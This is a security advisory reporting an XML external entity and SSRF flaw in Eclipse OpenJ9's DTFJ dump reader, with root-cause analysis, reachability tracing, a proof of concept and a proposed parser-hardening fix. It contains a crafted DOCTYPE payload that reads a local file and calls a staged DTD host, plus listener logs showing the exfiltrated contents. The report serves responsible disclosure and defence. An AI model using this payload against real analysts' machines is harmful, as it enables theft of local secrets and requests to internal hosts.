## Basic information **Project name:** Eclipse OpenJ9 **Project id:** technology.openj9 **Reported by:** Duc Anh Nguyen (VinSOC) - mra9797@gmail.com **Weakness:** CWE-611 (Improper Restriction of XML External Entity Reference), with CWE-918 (SSRF) as a secondary effect. **Severity (self-assessed, CVSS 3.1):** 6.6 Medium — `AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L` (7.7 High if `S:C` is accepted, since the external-entity fetch reaches network resources outside the parser's own security authority). This code also ships verbatim in IBM Semeru Runtime, so IBM builds are affected too. ## What are the affected versions? - **Source audited:** `eclipse-openj9/openj9` @ `f4158f5ac6aee77c11986406f6607c16f8d64cbd` (tag `openj9-0.62.0`). - **Dynamically reproduced on:** the official release artifact `ibm-semeru-open-jdk_x64_windows_21.0.12.10` — _IBM Semeru Runtime Open Edition 21.0.12.10, Eclipse OpenJ9 VM `openj9-0.61.0` (`OpenJ9 - a1daf225f5`)_ — using the shipped, unmodified `jdmpview.exe`. - `XMLIndexReader.java` is **byte-identical** at `openj9-0.61.0` (the runtime I reproduced on), `openj9-0.62.0` (the tag I audited) and current `master` — SHA-256 prefix `f83c39dee5771088`, 339 lines in all three. `DTFJImageFactory.java` is likewise identical across 0.61.0 and 0.62.0 (`0eadf61cc561a505`). **Current HEAD is affected.** - The class has had **no functional change since the OpenJ9 repository was created** — its entire history (`7bb414f20`, `8fc872808`, `76a00d5fd`, `d120a3ddb`, `7cf506db3`, `9a12b8a82`, `759abf713`, `c3d3135ba`, `c40ceb866`) is licence-header/copyright-year/whitespace edits only. The SAX setup is original and has never been hardened. - The file carries `/*[INCLUDE-IF Sidecar18-SE]*/`, so it is built into every Java 8+ stream. `openj9.dtfj` is a shipped module in the runtime image of every Semeru JDK I checked. ## Details of the issue **Summary.** Opening a customer-supplied diagnostic dump bundle with the JDK's own `jdmpview` tool causes the analyst's machine to **read an arbitrary local file named inside the bundle and send its contents to an arbitrary remote host**. DTFJ parses the bundle's XML metadata with a completely default `SAXParserFactory` — no `disallow-doctype-decl`, no secure processing, no entity resolver — so a `DOCTYPE` in that metadata is honoured in full, including external parameter entities and a remotely-staged DTD. The entire interaction is `jdmpview -zip <bundle>`. In my run the tool printed **no error at all** and the operator saw nothing unusual. **Root cause.** `jcl/src/openj9.dtfj/share/classes/com/ibm/jvm/j9/dump/indexsupport/XMLIndexReader.java`, both `parseIndexWithDump(...)` overloads (lines 80–104 and 115–137): ```java SAXParserFactory factory = SAXParserFactory.newInstance(); try { SAXParser parser = factory.newSAXParser(); _elements.push(this); parser.parse(input, this); // <-- untrusted metadata, fully default parser ``` `input` is the `<corefile>.xml` metadata taken straight out of the artifact the analyst was given. No feature is set on the factory or the parser between `newInstance()` and `parse()`. This is not a source-only claim — the shipped class in `lib/modules` does exactly the same three calls and nothing else: ``` $ javap --module openj9.dtfj -c -p com.ibm.jvm.j9.dump.indexsupport.XMLIndexReader | grep javax/xml 27: invokestatic #35 // SAXParserFactory.newInstance:()Ljavax/xml/parsers/SAXParserFactory; 34: invokevirtual #41 // SAXParserFactory.newSAXParser:()Ljavax/xml/parsers/SAXParser; 52: invokevirtual #49 // SAXParser.parse:(Ljava/io/InputStream;Lorg/xml/sax/helpers/DefaultHandler;)V # count of setFeature / FEATURE_SECURE_PROCESSING / setEntityResolver in that class: 0 ``` The one wrapper that sits in front of the parser, `XMLInputStream` (a "SAX lite" cleanup filter added under CMVC 154851), explicitly passes `<!` and `<?` constructs through untouched — so it does not strip `<!DOCTYPE`/`<!ENTITY`: ```java char checkInvalidTagNameChar = peekName.charAt(0); if (('!' == checkInvalidTagNameChar) || ('?' == checkInvalidTagNameChar)) { return data; // comments and PIs pass through unmodified } ``` Across the whole `openj9.dtfj` + DDR source tree the only XML-hardening call of any kind is `builder.setEntityResolver(resolver)` in DDR's `zebedee/util/Template.java`, which parses OpenJ9's own internal templates — not attacker-supplied data. **Reachability (traced, then executed).** `jdmpview -zip bundle.zip` → `com.ibm.dtfj.image.j9.ImageFactory.getImagesFromArchive()` → `ZipFileManager.getImageSources()` classifies an entry as `CORE` (magic check + `MIN_CORE_SIZE` 20 MB) and picks up `<entry>.xml` as its metadata (the comment in the code is literally _"check for XML in legacy extraction systems"_) → factories are tried in order `[DDR, DTFJ]`; DDR declines a non-OpenJ9 core → `DTFJImageFactory.getImage(in, meta, sourceID)` (line 100) → `DumpFactory.createDumpForCore(in)` → `XMLIndexReader.parseIndexWithDump(xmlstream, core, in, resolver)` (line 134) → **`SAXParser.parse`**. Two things make this easier to reach than it looks: 1. `DumpFactory.createDumpForCore()` returns `null` for a format it does not recognise rather than throwing, and `DTFJImageFactory` does not null-check it. The XML is therefore parsed even when the accompanying "core" is not a valid core at all — the parse is the _first_ thing that happens. 2. The same sink is reached from three separate entry points, all normal usage: - `jdmpview -zip <bundle>` (a single zip — the historical jextract output layout) - `jdmpview -core <core>` with a sibling `<core>.xml` (`SimpleFileManager.identifiedCoreFile`, no size floor on this path) - the public DTFJ API `com.ibm.dtfj.image.ImageFactory.getImage(File core, File xml)` — the documented integration point for third-party dump-analysis tooling. I confirmed this one fires too (`ApiHarness.java`, attached). **Why this delivery model is the real one.** DTFJ's jextract-metadata reader exists precisely because diagnostic artifacts arrive from outside the organisation. The historical IBM SDK workflow was: customer hits a problem → runs `jextract` on the core → ships the resulting zip (`core.dmp` + `core.dmp.xml` + libraries) to IBM support → a support engineer opens it with `jdmpview` or a DTFJ-based tool. OpenJ9 keeps the legacy reader alive for exactly that backward-compatibility case; the docs state `jdmpview` accepts a `-zip` "compressed file containing the core file" and that "you can run the dump viewer on one platform to work with dumps from another platform." So the person who opens the file is, by construction, opening a file authored by someone else — usually a support or SRE engineer whose workstation holds cloud credentials, SSH keys, VPN profiles and access to other customers' data. A dump bundle is an ordinary attachment: not executable, nobody treats it as code, and it passes straight through mail and ticketing systems. The `%dtd;` external fetch is also a plain SSRF from the analyst's host — usable to reach internal-only endpoints, and (via a `file:///` URL naming a directory) to enumerate the filesystem. **Deduplication.** No CVE, GHSA or Eclipse advisory matches. OpenJ9 has exactly two published GitHub advisories — `GHSA-q393-vr4c-969r` (JITServer `Message::deserialize()` OOB read) and `GHSA-ch6r-v7rg-4jqx` (uncontrolled recursion in the class-file annotation parser). Neither touches DTFJ, XML or diagnostic-artifact parsing. ## Steps to reproduce **Artifact** — one 20 KB zip, jextract naming convention (`bundlecore.dmp` + `bundlecore.dmp.xml`). The crafted metadata: ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE j9dump [ <!ENTITY % file SYSTEM "file:///C:/Users/<analyst>/AppData/Local/Temp/dtfj_arbitrary_path_sentinel.txt"> <!ENTITY % dtd SYSTEM "http://127.0.0.1:8099/stage2.dtd"> %dtd; %send; ]> <j9dump > </j9dump> ``` **Operator action and result:** ``` $ jdmpview -zip jextract_bundle.zip DTFJView version 4.29.5, using DTFJ version 1.12.29003 Loading image from DTFJ... For a list of commands, type "help"; for how to use "help", type "help help" > ```  _jdmpview -zip on the crafted bundle: DTFJView loads and returns to the prompt with no error shown to the operator._ **Listener on the "remote" host, same instant:** ``` [2026-09-11T11:14:00] HIT from 127.0.0.1 : /stage2.dtd [2026-09-11T11:14:00] HIT from 127.0.0.1 : /exfil?d=aws_secret_access_key=ARBITRARY-PATH-PROOF-b81d33 >>> EXFILTRATED LOCAL FILE CONTENT: ['aws_secret_access_key=ARBITRARY-PATH-PROOF-b81d33'] ``` The path read is an absolute path chosen entirely by the artifact author, outside the bundle's own directory, in a file the artifact did not create.  _Attacker listener at the same instant: staged-DTD (SSRF) fetch, then the arbitrary local file's contents exfiltrated over HTTP._ **Negative control** — byte-identical core entry, well-formed metadata with no `DOCTYPE`, same command: ``` $ jdmpview -zip control_bundle.zip DTFJView version 4.29.5, using DTFJ version 1.12.29003 Loading image from DTFJ... ... >>> new listener hits: 0 ```  _Negative control: byte-identical core, well-formed metadata with no DOCTYPE. Listener log is unchanged - zero new hits._ Same code path, same console output, **zero** file reads and zero outbound requests. The only variable is the `DOCTYPE`. In the shipped configuration the parse _eventually_ fails with `SAXParseException: The markup declarations ... must be well-formed` — but the entity fetch and the exfiltration have already completed by then. The error is cosmetic; it does not prevent the disclosure (and in my run nothing was printed to the operator at all). Reproduce with the attached builder: ``` python build_poc.py <outdir> <host:port> <absolute/path/to/read> python listener.py # staging + collection endpoint jdmpview -zip <outdir>/jextract_bundle.zip # crafted jdmpview -zip <outdir>/control_bundle.zip # control ``` Full transcript is in the attached `EVIDENCE.txt`; raw listener log in `oob_hits.log`. ## Do you know any mitigations of the issue? The jextract XML index has never used DTDs or entities, so rejecting `DOCTYPE` outright is behaviour-preserving. In both `parseIndexWithDump` overloads: ```java SAXParserFactory factory = SAXParserFactory.newInstance(); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setXIncludeAware(false); SAXParser parser = factory.newSAXParser(); parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); ``` If a `DOCTYPE` must still be tolerated for compatibility, the minimum is: ```java factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); ``` Verified on the same runtime (`FixCheck.java`, attached): with `disallow-doctype-decl` set, the crafted metadata is rejected with `DOCTYPE is disallowed ...` and an isolated run produced **0** listener hits, versus 2 for the current shipped configuration. While in this file, two adjacent robustness issues are worth a look: `DTFJImageFactory.getImage()` passes the possibly-`null` result of `DumpFactory.createDumpForCore()` straight into `parseIndexWithDump`, and `XMLInputStream.doStartTag()` has no `case '>'`, so a tag such as `<j9dump>` is never pushed onto its stack and a later `</...>` raises an uncaught `EmptyStackException` out of `SAXParser.parse`. **Attachments:** `EVIDENCE.txt` (full transcript), `build_poc.py` (regenerates both bundles), `listener.py` (staging DTD host + collection endpoint), `jextract_bundle.zip` / `control_bundle.zip` (the two artifacts as tested), `crafted-metadata.xml` / `control-metadata.xml` (the single differing input), `FixCheck.java` (current-config vs proposed-fix differential), `ApiHarness.java` (same issue via the public DTFJ `getImage(core, xml)` API), `oob_hits.log` (raw listener log). ### Evidence files (attached) - [EVIDENCE.txt](/uploads/400a532ed9a43b422e8f0cbc7c866512/EVIDENCE.txt) - [build_poc.py](/uploads/3bcbd8ccf6751bd42001a7641a76fbd7/build_poc.py) - [listener.py](/uploads/af53ce7cc553756c747fdd5ea1eb133f/listener.py) - [jextract_bundle.zip](/uploads/36db00581c9a42650713e077f0a7440a/jextract_bundle.zip) - [control_bundle.zip](/uploads/fa9a9b58f3f8ec3edb23df65072b6836/control_bundle.zip) - [crafted-metadata.xml](/uploads/f0234d6ca4615b508c886953fd94bafe/crafted-metadata.xml) - [control-metadata.xml](/uploads/b0fbf2bef55bad6467a981e696ceb6da/control-metadata.xml) - [FixCheck.java](/uploads/b452d43577950758dd6a7d90172d67be/FixCheck.java) - [ApiHarness.java](/uploads/eb6305c8d8caa7d6ce85910fa532d348/ApiHarness.java) - [oob_hits.log](/uploads/16684f6160d8db5cd935d3c627caf4a5/oob_hits.log)